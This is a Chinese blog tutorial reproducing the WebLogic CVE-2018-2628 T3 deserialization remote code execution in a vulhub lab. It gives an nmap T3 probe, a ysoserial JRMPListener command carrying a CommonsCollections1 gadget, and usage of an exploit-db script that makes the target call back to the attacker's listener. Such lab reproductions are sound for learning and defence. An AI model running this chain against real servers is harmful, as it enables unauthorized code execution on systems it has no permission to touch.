欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

WebLogic 反序列化远程代码执行漏洞(CVE-2018-2628)漏洞复现

程序员文章站 2022-07-15 11:22:24
...

漏洞概述:

在 WebLogic 里,攻击者利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。

名词概念:

序列化:序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。(通过ObjectOutputStream类的writeObject)

反序列化:就是把字节流恢复为对象的过程(通过ObjectInputStream类的readObject()方法)

RMI:远程方法调用(Remote Method Invocation)。简单来说,除了该对象本身所在的虚拟机,其他虚拟机也可以调用该对象的方法

JRMP:Java远程消息交换协议JRMP(Java Remote Messaging Protocol),JRMP是的Java技术协议的具体对象为希望和远程引用。JRMP只能是一个Java特有的,基于流的协议。相对于的RMI - IIOP的 ,该协议JRMP只能是一个对象的Java到Java的远程调用,这使得它依赖语言,意思是客户端和服务器必须使用Java。该协议基于TCP/IP,既然是作为信息交换协议,必然存在接收和发送两个端点,JRMPListener可以粗糙的理解为发送端,在本实验中意为攻击机上1099端口与weblogic靶机上的7001进行通信达到远程命令执行的目的。

影响版本:

Weblogic 10.3.6.0,Weblogic 12.1.3.0,Weblogic 12.2.1.2,Weblogic 12.2.1.3

环境搭建:

靶机:Ubuntu(192.168.168.133)
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628
本地:win7(172.10.24.153)

端口探测:

搭建好后先查看一下T3服务是否开启:

nmap -A -v -p 7001,7002 192.168.168.133 --script=weblogic-t3-info

使用windows查看,只能看见weblogic服务开启:
WebLogic 反序列化远程代码执行漏洞(CVE-2018-2628)漏洞复现
使用kali扫描,可见目标服务器开启了T3协议:
WebLogic 反序列化远程代码执行漏洞(CVE-2018-2628)漏洞复现

复现过程:

1、开启开启监听服务JRMPListen
本地开启监听服务JRMPListen,利用ysoserial的JRMP对1099端口监听(ysoserial下载地址:https://github.com/brianwrf/ysoserial/releases/tag/0.0.6-pri-beta

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

其中,[command]即为我想执行的命令,而[listen port]是JRMP Server监听的端口。
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1009 CommonsCollections1 “touch /tmp/getshell”
WebLogic 反序列化远程代码执行漏洞(CVE-2018-2628)漏洞复现
2、exploit脚本攻击
利用exploit脚本攻击(exploit脚本下载地址:https://www.exploit-db.com/exploits/44553

命令:python exploit.py [目标ip] [目标port] [ysoserial路径] [JRMPListener ip] [JRMPListener port] [JRMPClient]

#目标ip就是weblogic的ip。端口weblogic的端口

#ysoserial路径就是上方使用的ysoserial的路径

#JRMPListener port为主机端口,就是我使用的win7,监听端口上方1009

#JRMPClient命令执行。[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2
WebLogic 反序列化远程代码执行漏洞(CVE-2018-2628)漏洞复现
3、查看文件是否创建成功
使用docker ps查看docker名字:
WebLogic 反序列化远程代码执行漏洞(CVE-2018-2628)漏洞复现
进入docker:docker exec -ti cve20182628_weblogic_1 /bin/bash查看文件:ls -la /tmp
WebLogic 反序列化远程代码执行漏洞(CVE-2018-2628)漏洞复现

漏洞修复:

T3协议漏洞加固的话可以打上官方最新的补丁。
参考连接:https://blog.csdn.net/csacs/article/details/87122472
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628

相关标签: 渗透测试